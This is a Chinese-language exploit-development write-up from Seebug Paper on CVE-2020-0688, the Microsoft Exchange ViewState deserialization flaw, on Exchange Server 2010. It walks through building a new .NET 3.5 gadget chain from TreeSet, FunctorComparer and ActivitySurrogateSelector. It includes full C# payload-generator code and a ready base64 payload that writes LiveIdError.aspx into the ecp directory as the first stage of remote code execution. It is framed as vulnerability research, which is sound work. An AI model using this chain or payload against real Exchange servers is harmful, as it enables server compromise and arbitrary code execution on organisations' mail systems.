作者:EazyLov3
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!
投稿邮箱:[email protected]
近期在众所周知的活动中,各种漏洞利用花样不断,值得好好复盘一番。其中一位蓝方朋友负责的Exchange Server 2010沦陷引起了我的兴趣,因为日志被删没有第一时间找到入侵方法,对比备份后发现ecp目录下存在一名为LiveIdError.aspx的空白文件,Google了一下才发现是CVE-2020-0688反序列化攻击 ,但细究一下竟发现没有针对Exchange Server 2010及以下版本的公开利用方法,似乎是因为低版本.Net Framework(下称fx)的反序列化限制而难以利用。
在可利用性得到@zcgonvh 前辈肯定之后,本文尝试复现这个漏洞在Exchange Server 2010环境下的利用方法。
对.Net和Exchange都一无所知的我来说,首先要做的当然是先搞清楚为什么现有的PoC和利用方法不能利用在低版本,具体限制是什么。
在GitHub检索CVE-2020-0688关键字,排名靠前的有以下几个项目
https://github.com/Ridter/cve-2020-0688 https://github.com/random-robbie/cve-2020-0688 https://github.com/zcgonvh/CVE-2020-0688 https://github.com/Yt1g3r/CVE-2020-0688_EXP https://github.com/Jumbo-WJB/CVE-2020-0688
大致看了一遍这些项目的说明和代码,核心Payload均是由ysoserial.net项目的TextFormattingRunProperties反序列化链构造而实现命令执行,其中zcgonvh前辈的红队武器化利用分析和exp大放异彩,实现真正的远程代码执行,使漏洞潜力得到完全发挥,分析、检测、利用和修复的方式都相当精致,堪称艺术。
多次研读文章,发现exp通过第一阶段反序列化漏洞攻击在ecp下写入LiveIdError.aspx白文件,第二阶段则通过默认MachineKey生成ViewState的序列化payload,POST给第一阶段生成的白文件执行,实现远程加载任意.Net代码。
搭建Exchange Server 2010环境手动在ecp下创建LiveIdError.aspx后发现同样可以使用第二阶段的利用,比较接近攻击者的思路。
因此本文也以寻找方法在第一阶段实现写入LiveIdError.aspx文件为目标。 而该exp第一阶段写入文件的Payload仍是由TextFormattingRunProperties反序列化链构造。
根据分析,这个漏洞本质上是ecp目录下默认加密密钥沿用多年结合viewstate特性造成,理论上该目录下所有aspx脚本均有可能触发,除非web.config特别声明该aspx由PageHandlerFactory以外的类处理, https://github.com/Yt1g3r/CVE-2020-0688_EXP 这里也列出了其他的触发点,而不局限于/ecp/default.aspx,只是路径不同导致VIEWSTATEGENERATOR参数值不同。又因为ecp下的web.config限制了大多数脚本可接受的请求方法和处理映射,导致默认情况下只能从少数aspx的GET请求中传入序列化payload。
而IIS的GET请求的参数和值长度加起来最多只能接受2048字节,而ysoserial.net项目生成的Payload大多很长,其中的由Oleksandr Mirosh发现TextFormattingRunProperties链则被特别标注为用于生成尽可能短的反序列化Payload,因此应用较多。
那么也先应用在低版本试试。
首先搭建Exchange Server 2010 SP3 + Windows Server 2008 R2,所有环境配置默认。 由于登陆过程有些细节不同,所以将zcgonvh的exp中做一些微调,主要是注释掉登录校验的return。
为了方便得到调试信息,直接在Exchange服务器上执行Exp,用burp抓包返回500报错,说明很可能已触发反序列化,但并没有写入LiveIdError.aspx文件,使用其它exp也无法执行命令。得到异常堆栈如下
[SerializationException: Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'.] System.Runtime.Serialization.Formatters.Binary.BinaryAssemblyInfo.GetAssembly() +3129209 System.Runtime.Serialization.Formatters.Binary.ObjectReader.GetType(BinaryAssemblyInfo assemblyInfo, String name) +10111295 System.Runtime.Serialization.Formatters.Binary.ObjectMap..ctor(String objectName, String[] memberNames, BinaryTypeEnum[] binaryTypeEnumA, Object[] typeInformationA, Int32[] memberAssemIds, ObjectReader objectReader, Int32 objectId, BinaryAssemblyInfo assemblyInfo, SizedArray assemIdToAssemblyTable) +198 System.Runtime.Serialization.Formatters.Binary.__BinaryParser.ReadObjectWithMapTyped(BinaryObjectWithMapTyped record) +272 System.Runtime.Serialization.Formatters.Binary.__BinaryParser.Run() +235 System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +559 System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +326 System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream) +33 System.Web.UI.ObjectStateFormatter.DeserializeValue(SerializerBinaryReader reader) +10963475 System.Web.UI.ObjectStateFormatter.Deserialize(Stream inputStream) +136 [ArgumentException: The serialized data is invalid.] System.Web.UI.ObjectStateFormatter.Deserialize(Stream inputStream) +10963500 System.Web.UI.ObjectStateFormatter.Deserialize(String inputString) +446 System.Web.UI.Util.DeserializeWithAssert(IStateFormatter formatter, String serializedState) +59 System.Web.UI.HiddenFieldPageStatePersister.Load() +124
这里提示找不到Microsoft.PowerShell.Editor这个程序集,可根据TextFormattingRunProperties链首先发现者Oleksandr Mirosh的说明,这个程序集Win7以后即包含在系统中,只是可能需要修改版本号。直接在Exchange服务器上搜索这个dll,发现存在于C:\Windows\winsxs\msil_microsoft.powershell.editor_31bf3856ad364e35_6.1.7601.17514_none_e1afc4bb6ff47625目录下,反编译了一下只是包名有所不同,改改payload还能用,但这个目录似乎不在GAC中,祭出dnSpy在Windows Server 2008 R2环境下搜索这个类,同样无法找到,说明确实不在.net可全局调用的GAC中。
琢磨了一番,又不能通过指定路径的方式使反序列化的时候去调用到这个DLL,因此TextFormattingRunProperties链在这里似乎断裂了,至少我已经想不到还有什么办法能调用到它。
现在只能考虑寻找其他链来利用这个漏洞,并且利用链有两个必要条件,首先其用到的所有类必须在fx 3.5的默认GAC或Exchange的类库中,其次,生成的Payload不可过长,除去参数名,实际payload大约不能超过2000字节,这听起来太CTF了。
检索一番资料后发现公开的.net反序列化链都已经汇总到ysoserial.net项目中,下载1.34版本测试这些链轮番上阵后均以失败告终,具体原因如下。
(*) ActivitySurrogateDisableTypeCheck 这条链用于禁用fx4.8以上的类型检查,与本次漏洞利用无关 (*) ActivitySurrogateSelector (*) ActivitySurrogateSelectorFromFile 以上两条链都是远程加载任意.Net程序集的形式,所以会大幅增加Payload长度,直接pass (*) AxHostState 结合调用TextFormattingRunProperties故不可行 (*) ClaimsIdentity 同上 (*) DataSet 同上 (*) ObjectDataProvider 生成格式并非本次漏洞要求的BinaryFormatter (*) PSObject CVE-2017-8565攻击,这是为数不多的被微软修复的反序列化链,且不说已有补丁,这个类在fx3.5下压根没标记为可序列化,而且Payload长度也超出预期,当然也就不考虑继续利用。 (*) RolePrincipal 结合调用TextFormattingRunProperties故不可行 (*) SessionSecurityToken 同上 (*) SessionViewStateHistoryItem 同上 (*) TextFormattingRunProperties 低版本程序集不在GAC中,默认情况下无法调用到 (*) TypeConfuseDelegate 报错找不到SortedSet类,msdn文档显示该类仅存在于fx4.0以上 (*) TypeConfuseDelegateMono 同上 (*) WindowsClaimsIdentity 结合调用TextFormattingRunProperties故不可行 (*) WindowsIdentity 同上 (*) WindowsPrincipal 同上
可以发现格式符合且不依赖TextFormattingRunProperties链的只剩下ActivitySurrogateSelector,PSObject和TypeConfuseDelegate。
第一个缩短payload比较困难,第二个也是如此且有补丁暂时不考虑,第三个调用逻辑最简单,而且在查看ysoserial.net源代码时发现这个链有一段精简过的,硬编码的payload,长度仅1200字节左右,测试可以在Exchange Server 2013中使用,调用逻辑并不复杂,似乎有应用到更低版本的潜质。
首先看看这条链的最先发现者James Forshaw的说明,这条链首先创建了一个多播(这里是两个String.Comparer)委托比较器,并由Comparer<String>.Create(Delegate)创建ComparisonComparer转换为IComparer<String>接口格式,然后由SortedSet<String>类包装并设定执行命令的参数,最后修改调用列表将其中一个String.Comparer委托改为执行命令的函数Process.Start(String)再将整个SortedSet对象序列化生成Payload,在反序列化的时候ComparisonComparer将会调用System.Comparison`1.Invoke(T x, T y)执行之前修改过的委托,从而实现任意代码执行。
按照原作者James Forshaw的说明,由于Comparer<String>Create(Delegate)函数只存在于.Net framework 4.5以上,所以只能应用于4.5以上,不过实测了一下由于ComparisonComparer在4.0就已经存在,而且反序列化过程中并不会调用到Comparer<String>.Create(Delegate),所以可以通过简单修改实现手动创建这个比较器即可实现在4.0下利用,但在3.5环境下尚不存在,另一关键的SortedSet类也是如此,所以这仍然不符合漏洞利用要求。
接下来尝试找到这两个关键零件的低版本替代。
首先看最外层包装的SortedSet类,它本身是一个自动排序对象的集合类,因此替代品应该优先考虑在同一个包System.Collections.Generic下寻找类似特性的集合类,不过在Google这个类时发现大多资料都来源于Java中的SortedSet类,并且在Java中有一个TreeSet类几乎是唯一实现了SortedSet的类。
考虑到C#和Java是异父异母的亲兄弟,于是在微软公开的.Net代码库中检索了一番,发现确实也有TreeSet 而且是直接继承SortedSet类。
虽然是内部类,不过无所谓,在ysoserial.net源码中那段精简过的TypeConfusedelegate链payload里把SortedSet直接改为TreeSet编译后执行
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c calc -t -minify
仍可在fx 4.0下实现命令执行。 不过这份公开代码是fx 4.5以后的版本,3.5和更早以前版本的公开源码已经年代久远,找不到参考资料了。
不过奇怪的是在fx 4.0尚未发布的时候就有人在stackoverflow提过.Net中的TreeSet类相关的问题 ,推测TreeSet可能早已存在于fx中,但只是以内部类存在。直接祭出dnSpy,直接在本机的fx代码库寻找 果不其然,在2.0版本同一个包System.Collections.Generic下TreeSet就已经存在,没有SortedSet继承所以是独立实现。
大致查看了代码结构和反序列化行为与SortedSet对比只有一些细微的差异,在本次漏洞利用中可以认为没有区别,可直接作为SortedSet的替代品。
再来看看另一个零件ComparisonComparer,再次尝试在低版本同一个包下已寻找类似的替代,却发现几乎没有类似的实现,几乎没有接受Comparison的比较器。根据之前学习这条链的逻辑,最终通过调用System.Comparison`1.Invoke(T x, T y)去执行指定委托实现代码执行,System.Comparison类在低版本是存在的,那么对比分析一下Invoke方法在不同版本fx都有被哪些类调用过。 可以发现,同样调用这个方法的高低版本都有一个System.Array.FunctorComparer<T>.Compare(T, T),查看代码后发现结构几乎完全一致,仅私有变量命名少了个下划线而已,似乎可以替代ComparisonComparer。 但直接测试才发现这个类没有Serializable标记为可序列化而无法使用。难道这条路走不通?
不甘心的继续研读zcgonvh的分析,发现这里提到
fx的程序集中存在两个极为重要的工厂类:[mscorlib]System.DelegateSerializationHolder和[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef。按照微软的本意,只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。序列化操作的实现是完全没有问题的,而在反序列化操作中并没有要求返回类型满足上述约束(当然,这是特性而不是漏洞)。借助DelegateSerializationHolder,我们可以反序列化任何委托(无论方法、属性,也不分静态或实例);而借助ObjectSerializedRef可实现任意类反序列化。
看起来仍然有路可走,现在问题转化为序列化System.Array.FunctorComparer这个不可序列化的类。 继续检索资料,发现ActivitySurrogateSelector链可以序列化任意类,这条链同样由James Forshaw首先发现,从fx3.0起即可利用,出处同前一篇文章 从中抠出对应的PoC并且结合本次漏洞利用构造以下测试代码尝试构造序列化Payload并反序列化写入文件,由于写文件的WriteAllText函数没有返回值,这里由Func委托改为Action委托,另外需要对本机fx做一些改动所以可能测试代码在其它机器无法运行。
class Program { public static Comparison<string> d { get; set; } public static Delegate da { get; set; } static void Main(string[] args) { ConfigurationSettings.AppSettings.Set( "microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true" ); da = new Comparison<string>(String.Compare); d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = new System.Array.FunctorComparer<string>(d); TreeSet<string> set = new TreeSet<string>(comp); set.Add(@"LiveIdError.aspx"); set.Add(""); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); invoke_list[1] = new Action<string, string>(File.WriteAllText); fi.SetValue(d, invoke_list); MemoryStream stream = new MemoryStream(); BinaryFormatter fmt = new BinaryFormatter(); SurrogateSelector ss = new MySu(); fmt.SurrogateSelector = ss; fmt.Serialize(stream, set); Console.WriteLine(Convert.ToBase64String(stream.ToArray())); Console.ReadKey(); stream.Position = 0; fmt.Deserialize(stream); } internal class MySu : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; if (!type.IsSerializable) { Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); } return base.GetSurrogate(type, context, out selector); } } }
实际执行发现序列化没有问题了,但反序列化却会报错空引用异常System.NullReferenceException,未将对象引用设置到对象的实例。 上dnSpy调试发现反序列化TreeSet时,接收到的构造参数Comparer竟然是null而不是预期的System.Array.FunctorComparer,这一点比较奇怪。 修改测试代码发现反序列化TreeSet时,System.Array.FunctorComparer还处于尚未反序列化状态,当然也就无法传给TreeSet,这可太奇怪了。
既然我遇到了这个问题,前辈们肯定也遇到过,因此继续尝试理解ActivitySurrogateSelector链。对比本次漏洞利用除了序列化任意类之外,两条链实际上关联不大,一开始以为需要引入Linq处理顺序问题,但迅速意识到那将会大幅增加Payload长度而被否决。反复研读原文和代码后发现 ActivitySurrogateSelector链的代码在第84行有这样一句注释
// Pre-load objects, this ensures they're fixed up before building the hash table.
随后将需要序列化的对象加入一个List中,并且最后也将角色类似本文TreeSet的Hashtable加入List,最后序列化整个List对象生成Payload。 照这么看,推测很可能是由于某个特性,默认情况下这些不可序列化的类最后才会被反序列化,而引入List来自定义各个对象的顺序可以解决这个问题。
因此参照思路,再次修改测试代码如下
class Program { public static Comparison<string> d { get; set; } public static Delegate da { get; set; } static void Main(string[] args) { ConfigurationSettings.AppSettings.Set( "microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true" ); da = new Comparison<string>(String.Compare); d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = new System.Array.FunctorComparer<string>(d); TreeSet<string> set = new TreeSet<string>(comp); set.Add(@"LiveIdError.aspx"); set.Add(""); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); invoke_list[1] = new Action<string, string>(File.WriteAllText); fi.SetValue(d, invoke_list); MemoryStream stream = new MemoryStream(); BinaryFormatter fmt = new BinaryFormatter(); SurrogateSelector ss = new MySu(); fmt.SurrogateSelector = ss; List<object> ls = new List<object>(); ls.Add(comp); ls.Add(set); Console.WriteLine("[++] Serializing"); fmt.Serialize(stream, ls); String payload = Convert.ToBase64String(stream.ToArray()); stream.Position = 0; Console.WriteLine("[++] Deserializing"); fmt.Deserialize(stream); Console.WriteLine(payload); Console.Writeline("Payload Length: " + payload.Length); Console.ReadKey(); } internal class MySu : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; Console.WriteLine("[*] "+type); if (!type.IsSerializable) { Console.WriteLine("[+] "+type); Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); } return base.GetSurrogate(type, context, out selector); } } }
编译执行,反序列化顺利完成写入文件操作,证明思路正确。但生成的Payload有点长,达到三千多字节,参照ysoserial.net项目的精简思路,裁剪到大约1900字节以内,即可实现在默认路径的ecp下写入LiveIdError.aspx空白文件,payload如下:
AAEAAAD/////AQAAAAAAAAAEAQAAADJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3RdXQIAAAAGX2l0ZW1zBV9zaXplBQAICQIAAAACAAAAEAIAAAAEAAAACQMAAAAJBAAAAA0CDAUAAAAeU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsBQMAAABqU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLlNlcmlhbGl6YXRpb24uQWN0aXZpdHlTdXJyb2dhdGVTZWxlY3RvcitPYmplY3RTdXJyb2dhdGUrT2JqZWN0U2VyaWFsaXplZFJlZgIAAAAEdHlwZQttZW1iZXJEYXRhcwMFAXgFAAAACQYAAAAJBwAAAAwIAAAABlN5c3RlbQUEAAAANVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlRyZWVTZXRgMVtbU3lzdGVtLlN0cmluZ11dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAQABggBeAUAAAAICAAAAAIAAAAJAwAAAAEAAAAJCgAAAAQGAAAAH1N5c3RlbS5Vbml0eVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAABERhdGEJVW5pdHlUeXBlDEFzc2VtYmx5TmFtZQEAAQgGCwAAAC9TeXN0ZW0uQXJyYXkrRnVuY3RvckNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQQAAAAGDAAAAAhtc2NvcmxpYhAHAAAAAgAAAAkNAAAACQ4AAAARCgAAAAIAAAAGDwAAAAAGEAAAAFBDOlxQcm9ncmFtIEZpbGVzXE1pY3Jvc29mdFxFeGNoYW5nZSBTZXJ2ZXJcVjE0XENsaWVudEFjY2Vzc1xlY3BcTGl2ZUlkRXJyb3IuYXNweAQNAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlAAF4AQEBCREAAAANAA0ABA4AAAA9U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0NvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQAAAAAEEQAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBhQAAABEU3lzdGVtLkFjdGlvbmAyW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYl0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliXV0GFQAAAE5TeXN0ZW0uQ29yZSwgVmVyc2lvbj0zLjUuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkNAAkMAAAABhcAAAAOU3lzdGVtLklPLkZpbGUGGAAAAAxXcml0ZUFsbFRleHQJGQAAAAQSAAAAAXgGAAAAAAAAAAAAAQEBAQABCA0ADQANAA0AAAAAAA0AARMAAAASAAAABh4AAAAHQ29tcGFyZQ0ABiAAAAANU3lzdGVtLlN0cmluZw0ACAAAAAoBGQAAABEAAAAGIgAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJIAAAAAkeAAAACw==
后续使用zcgonvh前辈的exp即可如高版本一样实现任意代码执行,这里附一份整合本文的exp,使用方法不变,遇到Exchange Server 2010加上-v35参数即可,稍后提一份PR如果头像哥不嫌弃我代码垃圾也许会合并到exp项目。
由于payload长度限制的原因,直接执行命令在这个漏洞中已经意义不大,然而不管完美不完美,弹个计算器是每一个代码执行漏洞的基本要求,按同样的思路这里再测试一段弹计算器的Payload。
这几年各种各样的漏洞层出不穷,各种一键GetShell比比皆是,然而烂尾的漏洞也不少,披露信息只有寥寥数语就再也没有后续或者实际利用存在各种限制,也许很多漏洞都值得重新调试来发现更多可能。
调试这个漏洞的过程中学到了大量.Net和反序列化相关的知识,非常感谢@zcgonvh 前辈的帮助,给了我强大的信心,但在下对这些知识的理解仍然十分粗浅,文中仍可能有错漏之处,敬请读者指正。
唯一纠结是LiveIdError.aspx这个全版本默认都不存在的文件本身作用到底是什么,检索了一些资料仍无法理解,结合默认沿用多年的MachineKey,多多少少让这个漏洞有点后门的嫌疑。
在调试完在CVE-2020-0688低版本的利用之后,再次回顾@zcgonvh 的分析文章,才发现竟然早已包含本文几乎所有必要知识,不得不说zcgonvh前辈真是功力深厚,而且对迟钝如我这样的菜鸟路人,仍愿意不厌其烦的提点,实在令人敬佩,神秘的A-TEAM又令人多向往了一分。
https://www.t00ls.net/viewthread.php?tid=55183 https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1371/